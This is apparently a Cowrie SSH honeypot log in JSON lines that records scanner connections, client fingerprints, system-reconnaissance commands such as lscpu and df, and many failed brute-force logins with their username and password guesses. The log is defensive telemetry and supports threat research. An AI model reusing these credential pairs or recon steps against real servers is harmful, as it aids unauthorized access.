{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":5,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:11.999093Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:12.063089Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:12.067048Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:12.091887Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:12.182198Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:12.186408Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"df -h","message":"Command not found: df -h","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:12.191255Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":29,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:12.207610Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:12.214415Z","src_ip":"176.147.144.172","session":"82e23cc2e1b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:12.219172Z","src_ip":"4.227.177.11","session":"53c6b7651559","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":46484,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a249db7227f","protocol":"ssh","message":"New connection: 165.154.5.173:46484 (10.17.0.5:22) [session: 9a249db7227f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:15.623936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:15.629467Z","src_ip":"165.154.5.173","session":"9a249db7227f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:15.839427Z","src_ip":"165.154.5.173","session":"9a249db7227f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sgp","password":"sgp@123","message":"login attempt [sgp/sgp@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:16.709808Z","src_ip":"165.154.5.173","session":"9a249db7227f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45443,"dst_ip":"10.17.0.5","dst_port":22,"session":"4156a7a66b6e","protocol":"ssh","message":"New connection: 89.144.214.214:45443 (10.17.0.5:22) [session: 4156a7a66b6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:16.899111Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:16.936698Z","src_ip":"89.144.214.214","session":"4156a7a66b6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:17.065733Z","src_ip":"89.144.214.214","session":"4156a7a66b6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"root","message":"login attempt [dev/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:17.564231Z","src_ip":"89.144.214.214","session":"4156a7a66b6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:17.923353Z","src_ip":"165.154.5.173","session":"9a249db7227f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:18.701224Z","src_ip":"89.144.214.214","session":"4156a7a66b6e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":60648,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a3f0d91d018","protocol":"ssh","message":"New connection: 137.184.228.138:60648 (159.203.135.109:22) [session: 7a3f0d91d018]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:20.905090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:20.910839Z","src_ip":"137.184.228.138","session":"7a3f0d91d018","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:20.975779Z","src_ip":"137.184.228.138","session":"7a3f0d91d018","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@2020","message":"login attempt [root/P@ssw0rd@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:21.289977Z","src_ip":"137.184.228.138","session":"7a3f0d91d018","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:22.356749Z","src_ip":"137.184.228.138","session":"7a3f0d91d018","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":40446,"dst_ip":"10.17.0.5","dst_port":22,"session":"b11562f9a88c","protocol":"ssh","message":"New connection: 193.37.70.224:40446 (10.17.0.5:22) [session: b11562f9a88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:36.579334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:36.583838Z","src_ip":"193.37.70.224","session":"b11562f9a88c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:36.674855Z","src_ip":"193.37.70.224","session":"b11562f9a88c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"anna1986","message":"login attempt [root/anna1986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:36.952698Z","src_ip":"193.37.70.224","session":"b11562f9a88c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:38.046958Z","src_ip":"193.37.70.224","session":"b11562f9a88c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":50227,"dst_ip":"10.17.0.5","dst_port":22,"session":"8528ac298af0","protocol":"ssh","message":"New connection: 2.57.121.25:50227 (10.17.0.5:22) [session: 8528ac298af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:47.309764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:47.314649Z","src_ip":"2.57.121.25","session":"8528ac298af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:47.416176Z","src_ip":"2.57.121.25","session":"8528ac298af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1233211","message":"login attempt [user/1233211] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:47.892735Z","src_ip":"2.57.121.25","session":"8528ac298af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123123e","message":"login attempt [user/123123e] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:48.997304Z","src_ip":"2.57.121.25","session":"8528ac298af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121287","message":"login attempt [user/121287] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:50.105378Z","src_ip":"2.57.121.25","session":"8528ac298af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12111980","message":"login attempt [user/12111980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:51.209517Z","src_ip":"2.57.121.25","session":"8528ac298af0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"121087","message":"login attempt [user/121087] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:52.313810Z","src_ip":"2.57.121.25","session":"8528ac298af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:37:53.421866Z","src_ip":"2.57.121.25","session":"8528ac298af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.91.81.195","src_port":57250,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f8686e0c0d8","protocol":"ssh","message":"New connection: 36.91.81.195:57250 (159.203.135.109:22) [session: 7f8686e0c0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:11.000030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:11.005739Z","src_ip":"36.91.81.195","session":"7f8686e0c0d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:11.289953Z","src_ip":"36.91.81.195","session":"7f8686e0c0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pvx","password":"pvx","message":"login attempt [pvx/pvx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:12.455763Z","src_ip":"36.91.81.195","session":"7f8686e0c0d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.170.155","src_port":40420,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3188b75b81f","protocol":"ssh","message":"New connection: 43.156.170.155:40420 (10.17.0.5:22) [session: d3188b75b81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:12.524733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:12.529688Z","src_ip":"43.156.170.155","session":"d3188b75b81f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:12.766980Z","src_ip":"43.156.170.155","session":"d3188b75b81f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:13.742249Z","src_ip":"36.91.81.195","session":"7f8686e0c0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd2025","message":"login attempt [root/P@ssw0rd2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:13.752820Z","src_ip":"43.156.170.155","session":"d3188b75b81f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:14.996829Z","src_ip":"43.156.170.155","session":"d3188b75b81f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.226.190.225","src_port":54182,"dst_ip":"10.17.0.5","dst_port":22,"session":"60df5a8ecdc9","protocol":"ssh","message":"New connection: 87.226.190.225:54182 (10.17.0.5:22) [session: 60df5a8ecdc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:17.913281Z"}
